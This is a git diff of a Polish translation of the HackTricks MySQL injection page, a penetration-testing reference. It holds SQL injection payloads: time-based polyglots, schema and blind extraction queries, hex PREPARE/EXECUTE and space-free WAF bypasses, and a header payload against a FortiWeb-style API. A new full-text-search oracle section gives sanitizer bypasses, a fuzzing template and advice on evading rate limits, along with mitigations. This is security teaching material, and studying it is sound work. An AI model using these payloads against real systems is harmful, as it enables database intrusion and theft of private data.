mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README
This commit is contained in:
parent
9df87765c1
commit
84407a88ed
@ -12,7 +12,7 @@
|
|||||||
/*! MYSQL Special SQL */
|
/*! MYSQL Special SQL */
|
||||||
/*!32302 10*/ Comment for MySQL version 3.23.02
|
/*!32302 10*/ Comment for MySQL version 3.23.02
|
||||||
```
|
```
|
||||||
## Ciekawe Funkcje
|
## Interesujące funkcje
|
||||||
|
|
||||||
### Potwierdź Mysql:
|
### Potwierdź Mysql:
|
||||||
```
|
```
|
||||||
@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
|||||||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||||||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||||||
```
|
```
|
||||||
## Wszystkie wstrzyknięcia
|
## Wszystkie injection
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||||||
```
|
```
|
||||||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||||||
|
|
||||||
## Flow
|
## Przepływ
|
||||||
|
|
||||||
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz zastąpić "_**information_schema.tables**_" "_**mysql.innodb_table_stats**_**"** (To może być przydatne do obejścia WAF-ów).
|
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz użyć "_**information_schema.tables**_" zamiast "_**mysql.innodb_table_stats**_**"** (To może być przydatne do obejścia WAFs).
|
||||||
```sql
|
```sql
|
||||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||||||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||||||
@ -64,12 +64,12 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
|||||||
- `group_concat()`
|
- `group_concat()`
|
||||||
- `Limit X,1`
|
- `Limit X,1`
|
||||||
|
|
||||||
### **Ślepy jeden po drugim**
|
### **Blind one by one**
|
||||||
|
|
||||||
- `substr(version(),X,1)='r'` lub `substring(version(),X,1)=0x70` lub `ascii(substr(version(),X,1))=112`
|
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
|
||||||
- `mid(version(),X,1)='5'`
|
- `mid(version(),X,1)='5'`
|
||||||
|
|
||||||
### **Ślepe dodawanie**
|
### **Blind adding**
|
||||||
|
|
||||||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||||
@ -77,7 +77,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
|||||||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||||||
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
||||||
|
|
||||||
## Wykryj liczbę kolumn
|
## Wykrywanie liczby kolumn
|
||||||
|
|
||||||
Używając prostego ORDER
|
Używając prostego ORDER
|
||||||
```
|
```
|
||||||
@ -101,83 +101,132 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
|||||||
```
|
```
|
||||||
## SSRF
|
## SSRF
|
||||||
|
|
||||||
**Dowiedz się tutaj o różnych opcjach, aby** [**wykorzystać atak Mysql injection do uzyskania SSRF**](mysql-ssrf.md)**.**
|
**Dowiedz się tutaj różnych opcji, aby** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
|
||||||
|
|
||||||
## WAF bypass tricks
|
## Sztuczki omijania WAF
|
||||||
|
|
||||||
### Wykonywanie zapytań za pomocą Prepared Statements
|
### Wykonywanie zapytań przez Prepared Statements
|
||||||
|
|
||||||
Gdy dozwolone są złożone zapytania, może być możliwe ominięcie WAF-ów, przypisując do zmiennej szesnastkową reprezentację zapytania, które chcesz wykonać (używając SET), a następnie używając instrukcji PREPARE i EXECUTE w MySQL, aby ostatecznie wykonać zapytanie. Coś takiego:
|
Gdy stacked queries są dozwolone, może być możliwe ominięcie WAFs przez przypisanie do zmiennej hexowej reprezentacji zapytania, które chcesz wykonać (używając SET), a następnie użycie instrukcji PREPARE i EXECUTE MySQL, aby ostatecznie wykonać zapytanie. Coś takiego:
|
||||||
```
|
```
|
||||||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||||||
```
|
```
|
||||||
Dla uzyskania dodatkowych informacji proszę odwołać się do [tego wpisu na blogu](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
Więcej informacji znajdziesz w [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||||||
|
|
||||||
### Alternatywy dla information_schema
|
### Alternatywy dla Information_schema
|
||||||
|
|
||||||
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz zastąpić _**information_schema.tables**_ _**mysql.innodb_table_stats**_ lub _**sys.x$schema_flattened_keys**_ lub **sys.schema_table_statistics**.
|
Pamiętaj, że w „nowoczesnych” wersjach **MySQL** możesz zastąpić _**information_schema.tables**_ przez _**mysql.innodb_table_stats**_, _**sys.x$schema_flattened_keys**_ albo **sys.schema_table_statistics**
|
||||||
|
|
||||||
### MySQLinjection bez PRZECINKÓW
|
### MySQLinjection without COMMAS
|
||||||
|
|
||||||
Wybierz 2 kolumny bez użycia przecinka ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
Select 2 kolumny bez użycia żadnego przecinka ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||||
```
|
```
|
||||||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||||||
```
|
```
|
||||||
### Pobieranie wartości bez nazwy kolumny
|
### Pobieranie wartości bez nazwy kolumny
|
||||||
|
|
||||||
Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tabeli, możesz spróbować znaleźć, ile kolumn tam jest, wykonując coś takiego:
|
Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tej tabeli, możesz spróbować ustalić, ile kolumn się w niej znajduje, wykonując coś takiego:
|
||||||
```bash
|
```bash
|
||||||
# When a True is returned, you have found the number of columns
|
# When a True is returned, you have found the number of columns
|
||||||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||||||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||||||
```
|
```
|
||||||
Zakładając, że są 2 kolumny (pierwsza to ID, a druga to flaga), możesz spróbować przeprowadzić brute force na zawartości flagi, próbując znak po znaku:
|
Zakładając, że są 2 kolumny (pierwsza to ID), a druga to flag, możesz spróbować bruteforce'ować zawartość flagi, próbując znak po znaku:
|
||||||
```bash
|
```bash
|
||||||
# When True, you found the correct char and can start ruteforcing the next position
|
# When True, you found the correct char and can start ruteforcing the next position
|
||||||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||||||
```
|
```
|
||||||
Więcej informacji w [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
Więcej informacji w [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||||||
|
|
||||||
### Wstrzyknięcie bez SPACJI (sztuczka z komentarzem `/**/`)
|
### Injection without SPACES (`/**/` comment trick)
|
||||||
|
|
||||||
Niektóre aplikacje sanitizują lub analizują dane wejściowe użytkownika za pomocą funkcji takich jak `sscanf("%128s", buf)`, które **zatrzymują się na pierwszym znaku spacji**.
|
Niektóre aplikacje oczyszczają lub parsują dane wejściowe użytkownika za pomocą funkcji takich jak `sscanf("%128s", buf)`, które **zatrzymują się na pierwszym znaku spacji**.
|
||||||
Ponieważ MySQL traktuje sekwencję `/**/` jako komentarz *i* jako białą przestrzeń, można jej użyć do całkowitego usunięcia normalnych spacji z ładunku, zachowując jednocześnie poprawność składniową zapytania.
|
Ponieważ MySQL traktuje sekwencję `/**/` jako komentarz *i* jako białe znaki, można jej użyć do całkowitego usunięcia zwykłych spacji z payloadu, jednocześnie zachowując poprawność składniową zapytania.
|
||||||
|
|
||||||
Przykład wstrzyknięcia opartego na czasie, omijającego filtr spacji:
|
Przykład time-based blind injection omijającego filtr spacji:
|
||||||
```http
|
```http
|
||||||
GET /api/fabric/device/status HTTP/1.1
|
GET /api/fabric/device/status HTTP/1.1
|
||||||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||||||
```
|
```
|
||||||
Które baza danych odbiera jako:
|
Które zostaje odebrane przez bazę danych jako:
|
||||||
```sql
|
```sql
|
||||||
' OR SLEEP(5)-- -'
|
' OR SLEEP(5)-- -'
|
||||||
```
|
```
|
||||||
To jest szczególnie przydatne, gdy:
|
Jest to szczególnie przydatne, gdy:
|
||||||
|
|
||||||
* Kontrolowany bufor jest ograniczony rozmiarem (np. `%128s`) i spacje mogłyby przedwcześnie zakończyć dane wejściowe.
|
* Kontrolowany bufor ma ograniczony rozmiar (np. `%128s`) i spacje zakończyłyby wejście przedwcześnie.
|
||||||
* Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie normalne spacje są usuwane lub używane jako separatory.
|
* Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie zwykłe spacje są usuwane lub używane jako separatory.
|
||||||
* W połączeniu z prymitywami `INTO OUTFILE`, aby osiągnąć pełne RCE przed uwierzytelnieniem (zobacz sekcję MySQL File RCE).
|
* W połączeniu z prymitywami `INTO OUTFILE` w celu osiągnięcia pełnego pre-auth RCE (zobacz sekcję MySQL File RCE).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### Historia MySQL
|
### Historia MySQL
|
||||||
|
|
||||||
Możesz zobaczyć inne wykonania w MySQL, przeglądając tabelę: **sys.x$statement_analysis**
|
Możesz zobaczyć inne wykonania wewnątrz MySQL, czytając tabelę: **sys.x$statement_analysis**
|
||||||
|
|
||||||
### Alternatywy wersji**s**
|
### Wersje alternatywne**s**
|
||||||
```
|
```
|
||||||
mysql> select @@innodb_version;
|
mysql> select @@innodb_version;
|
||||||
mysql> select @@version;
|
mysql> select @@version;
|
||||||
mysql> select version();
|
mysql> select version();
|
||||||
```
|
```
|
||||||
## Inne przewodniki dotyczące wstrzykiwania MYSQL
|
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
|
||||||
|
|
||||||
|
To nie jest klasyczny SQL injection. Gdy deweloperzy przekazują dane użytkownika do `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL wykonuje bogaty zestaw operatorów wyszukiwania Boolean wewnątrz cytowanego ciągu. Wiele reguł WAF/SAST skupia się wyłącznie na przerwaniu cytatów i pomija tę powierzchnię.
|
||||||
|
|
||||||
|
Key points:
|
||||||
|
- Operators are evaluated inside the quotes: `+` (musi zawierać), `-` (nie może zawierać), `*` (trailing wildcard), `"..."` (dokładna fraza), `()` (grupowanie), `<`/`>`/`~` (wagi). Zobacz dokumentację MySQL.
|
||||||
|
- To pozwala na testy obecności/nieobecności oraz testy prefiksowe bez wychodzenia z literału ciągu znaków, np. `AGAINST('+admin*' IN BOOLEAN MODE)` aby sprawdzić dowolny termin zaczynający się od `admin`.
|
||||||
|
- Przydatne do budowy orakli, takich jak „czy którykolwiek wiersz zawiera termin z prefiksem X?”, oraz do enumeracji ukrytych ciągów przez rozszerzanie prefiksów.
|
||||||
|
|
||||||
|
Przykładowe zapytanie zbudowane przez backend:
|
||||||
|
```sql
|
||||||
|
SELECT tid, firstpost
|
||||||
|
FROM threads
|
||||||
|
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
|
||||||
|
```
|
||||||
|
Jeśli aplikacja zwraca różne odpowiedzi w zależności od tego, czy zestaw wyników jest pusty (np. przekierowanie vs. komunikat o błędzie), to zachowanie staje się oraklem boolowskim, który można wykorzystać do wyliczenia prywatnych danych, takich jak ukryte/usunięte tytuły.
|
||||||
|
|
||||||
|
Sanitizer bypass patterns (generic):
|
||||||
|
- Boundary-trim preserving wildcard: jeśli backend przycina 1–2 końcowe znaki w każdym słowie za pomocą regexu takiego jak `(\b.{1,2})(\s)|(\b.{1,2}$)`, wyślij `prefix*ZZ`. Sanitizer przytnie `ZZ`, ale zostawi `*`, więc `prefix*` przetrwa.
|
||||||
|
- Early-break stripping: jeśli kod usuwa operatory w każdym słowie, ale przestaje przetwarzać, gdy znajdzie dowolny token o długości ≥ min length, wyślij dwa tokeny: pierwszy to śmieciowy token spełniający próg długości, drugi niesie operator payload. Na przykład: `&&&&& +jack*ZZ` → po czyszczeniu: `+&&&&& +jack*`.
|
||||||
|
|
||||||
|
Payload template (URL-encoded):
|
||||||
|
```
|
||||||
|
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
|
||||||
|
```
|
||||||
|
- `%26` to `&`, `%2B` to `+`. The trailing `xD` (or any two letters) is trimmed by the cleaner, preserving `{FUZZ}*`.
|
||||||
|
- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.
|
||||||
|
|
||||||
|
Przebieg enumeracji:
|
||||||
|
1) Zacznij od `{FUZZ} = a…z,0…9`, aby znaleźć dopasowania pierwszej litery za pomocą `+a*`, `+b*`, …
|
||||||
|
2) Dla każdego pozytywnego prefiksu rozgałęź: `a* → aa* / ab* / …`. Powtarzaj, aby odzyskać cały ciąg.
|
||||||
|
3) Rozdziel żądania (proxies, multiple accounts) jeśli aplikacja wymusza flood control.
|
||||||
|
|
||||||
|
Dlaczego tytuły często leakują, a treści nie:
|
||||||
|
- Niektóre aplikacje wykonują checki widoczności dopiero po wstępnym MATCH na tytułach/subjects. Jeśli control-flow zależy od wyniku „any results?” przed filtrowaniem, występują existence leaks.
|
||||||
|
|
||||||
|
Środki zaradcze:
|
||||||
|
- Jeśli nie potrzebujesz logiki Boolean, użyj `IN NATURAL LANGUAGE MODE` lub traktuj dane wejściowe użytkownika jako literal (escape/quote disables operators in other modes).
|
||||||
|
- Jeśli wymagany jest tryb Boolean, usuń lub zneutralizuj wszystkie Boolean operators (`+ - * " ( ) < > ~`) dla każdego tokenu (no early breaks) po tokenizacji.
|
||||||
|
- Zastosuj filtry widoczności/autoryzacji przed MATCH, albo ujednolić odpowiedzi (constant timing/status) gdy result set jest empty vs. non-empty.
|
||||||
|
- Przejrzyj analogiczne funkcje w innych DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` także parsują operatory wewnątrz quoted arguments.
|
||||||
|
|
||||||
|
Uwagi:
|
||||||
|
- Prepared statements nie chronią przed semantycznym nadużyciem `REGEXP` lub search operators. Wejście takie jak `.*` pozostaje permissive regex nawet wewnątrz zacytowanego `REGEXP '.*'`. Używaj allow-lists lub explicit guards.
|
||||||
|
|
||||||
|
## Inne MYSQL injection guides
|
||||||
|
|
||||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||||
|
|
||||||
## Odniesienia
|
## Źródła
|
||||||
|
|
||||||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||||||
- [Pre-auth SQLi to RCE w Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||||
|
- [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
|
||||||
|
- [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
|
||||||
|
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
|
||||||
|
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user